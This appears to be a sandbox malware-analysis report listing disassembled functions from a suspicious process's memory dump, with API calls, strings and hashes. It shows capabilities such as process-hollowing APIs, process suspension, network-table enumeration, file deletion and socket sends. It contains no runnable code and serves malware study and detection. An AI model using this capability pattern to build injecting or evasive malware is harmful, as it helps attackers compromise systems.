GetModuleHandleA.KERNEL32(kernel32,IsWow64Process,?,?,?,?,0040E9E1), ref: 0041CBE6
GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CBE9
GetModuleHandleA.KERNEL32(kernel32,GetComputerNameExW,?,?,?,?,0040E9E1), ref: 0041CBFA
GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CBFD
LoadLibraryA.KERNEL32(Shell32), ref: 0041CC0E
GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CC11
GetModuleHandleA.KERNEL32(kernel32,SetProcessDEPPolicy,?,?,?,?,0040E9E1), ref: 0041CC22
GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CC25
GetModuleHandleA.KERNEL32(user32,EnumDisplayDevicesW,?,?,?,?,0040E9E1), ref: 0041CC36
GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CC39
GetModuleHandleA.KERNEL32(user32,EnumDisplayMonitors,?,?,?,?,0040E9E1), ref: 0041CC4A
GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CC4D
GetModuleHandleA.KERNEL32(user32,GetMonitorInfoW,?,?,?,?,0040E9E1), ref: 0041CC5E
GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CC61
GetModuleHandleA.KERNEL32(kernel32,GetSystemTimes,?,?,?,?,0040E9E1), ref: 0041CC72
GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CC75
LoadLibraryA.KERNEL32(Shlwapi), ref: 0041CC83
GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CC86
LoadLibraryA.KERNEL32(kernel32), ref: 0041CC97
GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CC9A
GetModuleHandleA.KERNEL32(ntdll,NtSuspendProcess,?,?,?,?,0040E9E1), ref: 0041CCA7
GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CCAA
GetModuleHandleA.KERNEL32(ntdll,NtResumeProcess,?,?,?,?,0040E9E1), ref: 0041CCB7
GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CCBA
LoadLibraryA.KERNEL32(Iphlpapi), ref: 0041CCCC
GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CCCF
LoadLibraryA.KERNEL32(Iphlpapi), ref: 0041CCDC
GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CCDF
GetModuleHandleA.KERNEL32(ntdll,NtQueryInformationProcess,?,?,?,?,0040E9E1), ref: 0041CCF0
GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CCF3
GetModuleHandleA.KERNEL32(kernel32,GetFinalPathNameByHandleW,?,?,?,?,0040E9E1), ref: 0041CD04
GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CD07
LoadLibraryA.KERNEL32(Rstrtmgr), ref: 0041CD19
GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CD1C
LoadLibraryA.KERNEL32(Rstrtmgr), ref: 0041CD29
GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CD2C
LoadLibraryA.KERNEL32(Rstrtmgr), ref: 0041CD39
GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CD3C
LoadLibraryA.KERNEL32(Rstrtmgr), ref: 0041CD49
GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CD4C

Strings

EnumDisplayDevicesW, xrefs: 0041CC27
GlobalMemoryStatusEx, xrefs: 0041CBC8
kernel32, xrefs: 0041CBCD, 0041CBDC, 0041CBF0, 0041CC18, 0041CC68, 0041CC8D, 0041CCFA
Psapi, xrefs: 0041CB60
GetConsoleWindow, xrefs: 0041CC88
RmEndSession, xrefs: 0041CD3E
GetSystemTimes, xrefs: 0041CC63
GetFinalPathNameByHandleW, xrefs: 0041CCF5
NtUnmapViewOfSection, xrefs: 0041CBB8
Shlwapi, xrefs: 0041CC79
ntdll, xrefs: 0041CBBD, 0041CBC2, 0041CCA1, 0041CCB1, 0041CCE6
RmGetList, xrefs: 0041CD2E
IsUserAnAdmin, xrefs: 0041CBFF
NtResumeProcess, xrefs: 0041CCAC
SetProcessDEPPolicy, xrefs: 0041CC13
NtSuspendProcess, xrefs: 0041CC9C
GetExtendedUdpTable, xrefs: 0041CCD1
RmRegisterResources, xrefs: 0041CD1E
GetComputerNameExW, xrefs: 0041CBEB
Rstrtmgr, xrefs: 0041CD0E, 0041CD18, 0041CD23, 0041CD33, 0041CD43
Iphlpapi, xrefs: 0041CCC1, 0041CCCB, 0041CCD6
NtQueryInformationProcess, xrefs: 0041CCE1
GetMonitorInfoW, xrefs: 0041CC4F
EnumDisplayMonitors, xrefs: 0041CC3B
Shell32, xrefs: 0041CC04
Kernel32, xrefs: 0041CB80
GetExtendedTcpTable, xrefs: 0041CCBC
shcore, xrefs: 0041CB95
RmStartSession, xrefs: 0041CD09
user32, xrefs: 0041CBA9, 0041CC2C, 0041CC40, 0041CC54
SetProcessDpiAwareness, xrefs: 0041CB8F, 0041CB94, 0041CBA8
GetProcessImageFileNameW, xrefs: 0041CB5A, 0041CB5F, 0041CB7F
IsWow64Process, xrefs: 0041CBD7

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad$HandleModule
String ID: EnumDisplayDevicesW$EnumDisplayMonitors$GetComputerNameExW$GetConsoleWindow$GetExtendedTcpTable$GetExtendedUdpTable$GetFinalPathNameByHandleW$GetMonitorInfoW$GetProcessImageFileNameW$GetSystemTimes$GlobalMemoryStatusEx$Iphlpapi$IsUserAnAdmin$IsWow64Process$Kernel32$NtQueryInformationProcess$NtResumeProcess$NtSuspendProcess$NtUnmapViewOfSection$Psapi$RmEndSession$RmGetList$RmRegisterResources$RmStartSession$Rstrtmgr$SetProcessDEPPolicy$SetProcessDpiAwareness$Shell32$Shlwapi$kernel32$ntdll$shcore$user32
API String ID: 4236061018-3687161714
Opcode ID: d30ec231acb52cdcc59a2b6b3fe3a558d95728f00a5c8bab653e1e11384c1c5d
Instruction ID: 43d5c3d51f8f0173c8b3474e0c84bdc355f07b7b5b23ff39ae26555794408ecb
Opcode Fuzzy Hash: d30ec231acb52cdcc59a2b6b3fe3a558d95728f00a5c8bab653e1e11384c1c5d
Instruction Fuzzy Hash: 31419EA0EC035879DA107BB66DCDE3B3E5CD9857953214837B15CA7150EBBCD8408EAE

Function 004432B5 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 20
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(00000003,PkGNG,0044328B,00000003,0046E948,0000000C,004433E2,00000003,00000002,00000000,PkGNG,00446136,00000003), ref: 004432D6
TerminateProcess.KERNEL32(00000000), ref: 004432DD
ExitProcess.KERNEL32 ref: 004432EF

Strings

PkGNG, xrefs: 004432B7

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: Process$CurrentExitTerminate
String ID: PkGNG
API String ID: 1703294689-263838557
Opcode ID: fda3935ef75a9da2a187ce407300f3730e4ebfece79a37869d002a8a215f2f15
Instruction ID: 3be6e6b92543006147ef5d7b2afd166c5ab2c5ffe072a920593a5ac20c7500e8
Opcode Fuzzy Hash: fda3935ef75a9da2a187ce407300f3730e4ebfece79a37869d002a8a215f2f15
Instruction Fuzzy Hash: D6E0BF31400244FBDF126F55DD0AA993B69FB40757F044469F90946232CB7ADE42CA98

Function 00434B47 Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32 ref: 00434B4C

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 94f820becb3d11eb86a2e9fe35426058ee7de7bf36e1f11b305b7456ad7b3320
Instruction ID: b2b6851a15331e9206a2225a79f218ff0d060d1473a4ca8ef9e7ab7021fb00da
Opcode Fuzzy Hash: 94f820becb3d11eb86a2e9fe35426058ee7de7bf36e1f11b305b7456ad7b3320
Instruction Fuzzy Hash:

Function 00404E26 Relevance: 22.8, APIs: 12, Strings: 1, Instructions: 65
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WaitForSingleObject.KERNEL32(?,000000FF,00000000,00474EF8,PkGNG,00000000,00474EF8,00404CA8,00000000,?,?,?,00474EF8,?), ref: 00404E38
SetEvent.KERNEL32(?), ref: 00404E43
CloseHandle.KERNELBASE(?), ref: 00404E4C
closesocket.WS2_32(?), ref: 00404E5A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 00404E91
SetEvent.KERNEL32(?), ref: 00404EA2
WaitForSingleObject.KERNEL32(?,000000FF), ref: 00404EA9
SetEvent.KERNEL32(?), ref: 00404EBA
CloseHandle.KERNEL32(?), ref: 00404EBF
CloseHandle.KERNEL32(?), ref: 00404EC4
SetEvent.KERNEL32(?), ref: 00404ED1
CloseHandle.KERNEL32(?), ref: 00404ED6

Strings

PkGNG, xrefs: 00404E28

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: CloseEventHandle$ObjectSingleWait$closesocket
String ID: PkGNG
API String ID: 3658366068-263838557
Opcode ID: 87d744648c5afa45b50529b6b6d14d146fbf4d1d8295755f98280c9be6f36435
Instruction ID: 0c11cd9b042c69dc9d4dd2828563f6d61870a883144e53252efabab5b24bcc37
Opcode Fuzzy Hash: 87d744648c5afa45b50529b6b6d14d146fbf4d1d8295755f98280c9be6f36435
Instruction Fuzzy Hash: BF21E871104B04AFDB216B26DC49B27BBA1FF40326F104A2EE2E211AF1CB75B851DB58

Function 0044AC49 Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 216
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

MultiByteToWideChar.KERNEL32(00000001,00000000,?,?,00000000,00000000,?,$C,0043EA24,?,?,PkGNG,0044AE9A,00000001,00000001,73E85006), ref: 0044ACA3
__alloca_probe_16.LIBCMT ref: 0044ACDB
MultiByteToWideChar.KERNEL32(00000001,00000001,?,?,00000000,?,?,?,PkGNG,0044AE9A,00000001,00000001,73E85006,?,?,?), ref: 0044AD29
__alloca_probe_16.LIBCMT ref: 0044ADC0
WideCharToMultiByte.KERNEL32(00000001,00000000,00000000,00000000,?,73E85006,00000000,00000000,?,00000400,00000000,?,00000000,00000000,00000000,00000000), ref: 0044AE23
__freea.LIBCMT ref: 0044AE30

Part of subcall function 00446137: RtlAllocateHeap.NTDLL(00000000,004352BC,?,?,00438847,?,?,00000000,00476B50,?,0040DE62,004352BC,?,?,?,?), ref: 00446169

__freea.LIBCMT ref: 0044AE39
__freea.LIBCMT ref: 0044AE5E

Strings

$C, xrefs: 0044AC5B
PkGNG, xrefs: 0044AC4B

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: ByteCharMultiWide__freea$__alloca_probe_16$AllocateHeap
String ID: $C$PkGNG
API String ID: 3864826663-3740547665
Opcode ID: 362257cb831b64f560ca9c305cbafbf1ddd2a76c4c9bcde51592d12c0f33465e
Instruction ID: b5b01290aead076256688b5938d42e4b2a7c64905c3dece0b68445a47d4ef5f6
Opcode Fuzzy Hash: 362257cb831b64f560ca9c305cbafbf1ddd2a76c4c9bcde51592d12c0f33465e
Instruction Fuzzy Hash: 1F513A72680206AFFB258F64CC41EBF77AAEB44714F24462EFC14D6240EB38DC60875A

Function 00448566 Relevance: 6.1, APIs: 4, Instructions: 52
libraryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,00000800,?,00000000,00000000,?,0044850D,?,00000000,00000000,00000000,?,00448839,00000006,FlsSetValue), ref: 00448598
GetLastError.KERNEL32(?,0044850D,?,00000000,00000000,00000000,?,00448839,00000006,FlsSetValue,0045F160,0045F168,00000000,00000364,?,004482E7), ref: 004485A4
LoadLibraryExW.KERNEL32(00000000,00000000,00000000,?,0044850D,?,00000000,00000000,00000000,?,00448839,00000006,FlsSetValue,0045F160,0045F168,00000000), ref: 004485B2

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: LibraryLoad$ErrorLast
String ID:
API String ID: 3177248105-0
Opcode ID: 03982c6842d6040e15a2f529479e2a2fef9fe475335e7dbaf6b0fa49dfb65394
Instruction ID: d5df962f837ff7629ef00c7a8b4dcab40ba3e58d8e4ddb8b40c265455ff02ab4
Opcode Fuzzy Hash: 03982c6842d6040e15a2f529479e2a2fef9fe475335e7dbaf6b0fa49dfb65394
Instruction Fuzzy Hash: AA012832602322FBD7214B289C4495B7798AB50B61B20053AFD05D3241DF34CD01CAE8

Function 00448BB3 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 47
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LCMapStringW.KERNEL32(00000000,?,00000000,?,?,?,?,?,?,?,?,?,73E85006,00000001,?,0043CE55), ref: 00448C24

Strings

PkGNG, xrefs: 00448BB5
LCMapStringEx, xrefs: 00448BCE

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: String
String ID: LCMapStringEx$PkGNG
API String ID: 2568140703-1065776982
Opcode ID: 20edb6311ff80fd52f273064eb78c9c2f4c40470f2fa2ad589d6478c135721a4
Instruction ID: 91dcaeff4e4508283399e99d6512adb219adb357de156da575c9a111b1dd59a7
Opcode Fuzzy Hash: 20edb6311ff80fd52f273064eb78c9c2f4c40470f2fa2ad589d6478c135721a4
Instruction Fuzzy Hash: 3F016532500209FBCF029F90DC01EEE7F62EF08351F10452AFE0925161CA3A8971AB99

Function 0040D069 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 13
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateMutexA.KERNELBASE(00000000,00000001,00000000,0040EC08,0000000D,00000033,00000000,00000032,00000000,Exe,00000000,0000000E,00000000,004660BC,00000003,00000000), ref: 0040D078
GetLastError.KERNEL32 ref: 0040D083

Strings

SG, xrefs: 0040D069

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: CreateErrorLastMutex
String ID: SG
API String ID: 1925916568-3189917014
Opcode ID: 801f4fab6620dad4192684c1acb97daf4a6912092659b95b34e50827bd09c0e4
Instruction ID: 95155ffd2f5cf2c34283977deb482d2843c3ccfb5002447f486bda260673b364
Opcode Fuzzy Hash: 801f4fab6620dad4192684c1acb97daf4a6912092659b95b34e50827bd09c0e4
Instruction Fuzzy Hash: 18D012B0604701EBD7181770ED5975839959744702F40487AB50BD99F1CBAC88908519

Function 0044EDC4 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 132
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCPInfo.KERNEL32(5EFC4D8B,?,00000005,?,00000000), ref: 0044EDE9

Strings

, xrefs: 0044EE2E

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: Info
String ID:
API String ID: 1807457897-3916222277
Opcode ID: a85cb1b2b9373234b1d7ad287e33ad953b4b977bb3bdbd209019650f1141d576
Instruction ID: 44bbd8f54034b75cb3f6f6e84f1b5a7d7ac270184ed4e74474e217fcd589b3ab
Opcode Fuzzy Hash: a85cb1b2b9373234b1d7ad287e33ad953b4b977bb3bdbd209019650f1141d576
Instruction Fuzzy Hash: 74411E705043489AEF218F65CC84AF7BBB9FF45308F2408EEE59A87142D2399E45DF65

Function 00448710 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 30
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

TlsAlloc.KERNEL32 ref: 0044874F

Strings

FlsAlloc, xrefs: 0044872B

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: Alloc
String ID: FlsAlloc
API String ID: 2773662609-671089009
Opcode ID: b4f4d605eb291f9a0e31a3fdb19c0b64c96dd805d6feba376a353fba0474839d
Instruction ID: c1fb2f6f3e96c04a711f36652bc0978b46922b6b0bac1ff16f6cb7e5114ce70e
Opcode Fuzzy Hash: b4f4d605eb291f9a0e31a3fdb19c0b64c96dd805d6feba376a353fba0474839d
Instruction Fuzzy Hash: 98E02B30640218E7D700AF65DC16A6EBB94CF48B12B20057FFD0557391DE786D0595DE

Function 00438D94 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 22
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

try_get_function.LIBVCRUNTIME ref: 00438DA9

Strings

FlsAlloc, xrefs: 00438DA2

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: try_get_function
String ID: FlsAlloc
API String ID: 2742660187-671089009
Opcode ID: 5196da0208b4c88d7e80b60f7c4aa489d06214170f9357b8a7661789506c7008
Instruction ID: 997240ade825b32cd49e327dc5ad0f79abc42783939d358afc793268dfa947f7
Opcode Fuzzy Hash: 5196da0208b4c88d7e80b60f7c4aa489d06214170f9357b8a7661789506c7008
Instruction Fuzzy Hash: 1FD05B31B8172866861036D56C02B99F654CB45BF7F14106BFF0875293999D581451DE

Function 0044F119 Relevance: 3.2, APIs: 2, Instructions: 168
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0044ECEC: GetOEMCP.KERNEL32(00000000,?,?,0044EF75,?), ref: 0044ED17

IsValidCodePage.KERNEL32(-00000030,00000000,?,?,?,?,0044EFBA,?,00000000), ref: 0044F18D
GetCPInfo.KERNEL32(00000000,0044EFBA,?,?,?,0044EFBA,?,00000000), ref: 0044F1A0

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: CodeInfoPageValid
String ID:
API String ID: 546120528-0
Opcode ID: 0fcd41bea27e2464632381dc73460c859b02871e76ebf75d2761c723038ba765
Instruction ID: 3b7bf12515eb554c774b4e527f81d40cffab4a6430697902d987c8214247c1f3
Opcode Fuzzy Hash: 0fcd41bea27e2464632381dc73460c859b02871e76ebf75d2761c723038ba765
Instruction Fuzzy Hash: BB5116749002469EFB24CF76C8816BBBBE5FF41304F1444BFD08687251D6BE994ACB99

Function 0044EF58 Relevance: 3.1, APIs: 2, Instructions: 91
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00448215: GetLastError.KERNEL32(?,0043F720,0043A7F5,0043F720,00474EF8,PkGNG,0043CE15,FF8BC35D,00474EF8,00474EF8), ref: 00448219
Part of subcall function 00448215: _free.LIBCMT ref: 0044824C
Part of subcall function 00448215: SetLastError.KERNEL32(00000000,?,?,00000000), ref: 0044828D
Part of subcall function 00448215: _abort.LIBCMT ref: 00448293

Part of subcall function 0044F077: _abort.LIBCMT ref: 0044F0A9
Part of subcall function 0044F077: _free.LIBCMT ref: 0044F0DD

Part of subcall function 0044ECEC: GetOEMCP.KERNEL32(00000000,?,?,0044EF75,?), ref: 0044ED17

_free.LIBCMT ref: 0044EFD0
_free.LIBCMT ref: 0044F006

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: _free$ErrorLast_abort
String ID:
API String ID: 2991157371-0
Opcode ID: baf0a310567cc30cb88d0d4a2d208f706047bc877cc458132e60af230d18bea0
Instruction ID: 3a29b68b49955ca98559fee15c42126097606514ccea0e67eec2104835090475
Opcode Fuzzy Hash: baf0a310567cc30cb88d0d4a2d208f706047bc877cc458132e60af230d18bea0
Instruction Fuzzy Hash: FD31D531904104BFFB10EB6AD440B9EB7E4FF40329F2540AFE5149B2A1DB399D45CB48

Function 004484CA Relevance: 3.1, APIs: 2, Instructions: 65
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(00000000,?,00000000,00000000,00000000,?,00448839,00000006,FlsSetValue,0045F160,0045F168,00000000,00000364,?,004482E7,00000000), ref: 0044852A
__crt_fast_encode_pointer.LIBVCRUNTIME ref: 00448537

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: AddressProc__crt_fast_encode_pointer
String ID:
API String ID: 2279764990-0
Opcode ID: 8089c10b092d0b8b49c4e4c687cc442f2ac99aa31dc0a9ae19eeba6ee39a8a7d
Instruction ID: 198cd69cd453a5762926ca534f03dc7b1e1ac857a4a5158ec5eb6717dc05f104
Opcode Fuzzy Hash: 8089c10b092d0b8b49c4e4c687cc442f2ac99aa31dc0a9ae19eeba6ee39a8a7d
Instruction Fuzzy Hash: C3113A37A00131AFEB21DE1CDC4195F7391EB80724716452AFC08AB354DF34EC4186D8

Function 0040165E Relevance: 3.0, APIs: 2, Instructions: 32
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dd3aabd753e8fbc850dd588cbaeb9a0baf8afa37155383fde8690b9b823aeb90
Instruction ID: 20740d68f627359004b4f50e822579efa7e6dd26000e0d34fcfb16e84f8f3500
Opcode Fuzzy Hash: dd3aabd753e8fbc850dd588cbaeb9a0baf8afa37155383fde8690b9b823aeb90
Instruction Fuzzy Hash: 6EF0E2706042015BDB1C8B34CD60B2A36955B84315F288F3FF01AD61E0C73EC8918A0D

Function 0043A3EC Relevance: 3.0, APIs: 2, Instructions: 19
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00438D94: try_get_function.LIBVCRUNTIME ref: 00438DA9

___vcrt_FlsSetValue.LIBVCRUNTIME ref: 0043A40A
___vcrt_uninitialize_ptd.LIBVCRUNTIME ref: 0043A415

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: Value___vcrt____vcrt_uninitialize_ptdtry_get_function
String ID:
API String ID: 806969131-0
Opcode ID: b65774da924b1ebf27bf40d163950e62dcf9712d149a04772a22db3bc715a471
Instruction ID: 13a2799ba917d8b657c14e130d7338f5d7a652e6d8bc03527a2a5cb893e190b1
Opcode Fuzzy Hash: b65774da924b1ebf27bf40d163950e62dcf9712d149a04772a22db3bc715a471
Instruction Fuzzy Hash: 23D0A920088310241C14A3792C0F19B53442A3A7BCF70726FFAF4861C3EEDC8062612F

Function 004500D4 Relevance: 1.6, APIs: 1, Instructions: 52COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00445AF3: RtlAllocateHeap.NTDLL(00000008,?,00000000,?,004482CA,00000001,00000364,?,00000000,?,0043BC87,00000000,?,?,0043BD0B,00000000), ref: 00445B34

_free.LIBCMT ref: 00450140

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: AllocateHeap_free
String ID:
API String ID: 614378929-0
Opcode ID: fdbd8fd48d54792b4aab90f4371f9c4c5731c6c52bc699df08f3ae970cc02b1f
Instruction ID: a633634cbf7549e5c455a263606fb7810d0d6e042387cb83ce13a77316281608
Opcode Fuzzy Hash: fdbd8fd48d54792b4aab90f4371f9c4c5731c6c52bc699df08f3ae970cc02b1f
Instruction Fuzzy Hash: 67014E761007449BE3218F59D881D5AFBD8FB85374F25061EE5D4532C1EA746805C779

Function 00445AF3 Relevance: 1.5, APIs: 1, Instructions: 39memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,004482CA,00000001,00000364,?,00000000,?,0043BC87,00000000,?,?,0043BD0B,00000000), ref: 00445B34

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: c045d3e2a3584f06f9c551ababd1bb43ae743c3abb802e5b049e03d8e1594b29
Instruction ID: e1e4bc9e3ed5bc60ab2f969cc6486aa84e060793a1580145f61584a75d3ee698
Opcode Fuzzy Hash: c045d3e2a3584f06f9c551ababd1bb43ae743c3abb802e5b049e03d8e1594b29
Instruction Fuzzy Hash: 9DF09031600D6967BF316A229C06B5BB749EB42760B548027BD08AA297CA38F80186BC

Function 00446137 Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,004352BC,?,?,00438847,?,?,00000000,00476B50,?,0040DE62,004352BC,?,?,?,?), ref: 00446169

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 091c80118a57d95ebc2facbedd4e69ebcf5b938ae1e913472e35806a21779949
Instruction ID: 4903450aafda00484806ba385278610c2731405ed8485190d5fd86014b6ab98c
Opcode Fuzzy Hash: 091c80118a57d95ebc2facbedd4e69ebcf5b938ae1e913472e35806a21779949
Instruction Fuzzy Hash: 92E0ED3120062577FB2226669D05B5B365D9F033A2F160127EC0AA2283DF7CCC0081EF

Non-executed Functions

Function 00407C97 Relevance: 44.6, APIs: 10, Strings: 15, Instructions: 835filesleepCOMMON

Download Yara Rule

APIs

SetEvent.KERNEL32(?,?), ref: 00407CB9
GetFileAttributesW.KERNEL32(00000000,00000000,?), ref: 00407D87
DeleteFileW.KERNEL32(00000000), ref: 00407DA9

Part of subcall function 0041C291: FindFirstFileW.KERNEL32(?,?,?,?,?,?,?,00474EE0,?), ref: 0041C2EC
Part of subcall function 0041C291: FindNextFileW.KERNEL32(00000000,?,?,?,?,?,?,00474EE0,?), ref: 0041C31C
Part of subcall function 0041C291: RemoveDirectoryW.KERNEL32(?,?,?,?,?,?,00474EE0,?), ref: 0041C371
Part of subcall function 0041C291: FindClose.KERNEL32(00000000,?,?,?,?,?,00474EE0,?), ref: 0041C3D2
Part of subcall function 0041C291: RemoveDirectoryW.KERNEL32(00000000,?,?,?,?,?,00474EE0,?), ref: 0041C3D9

Part of subcall function 00404AA1: send.WS2_32(?,00000000,00000000,00000000), ref: 00404B36

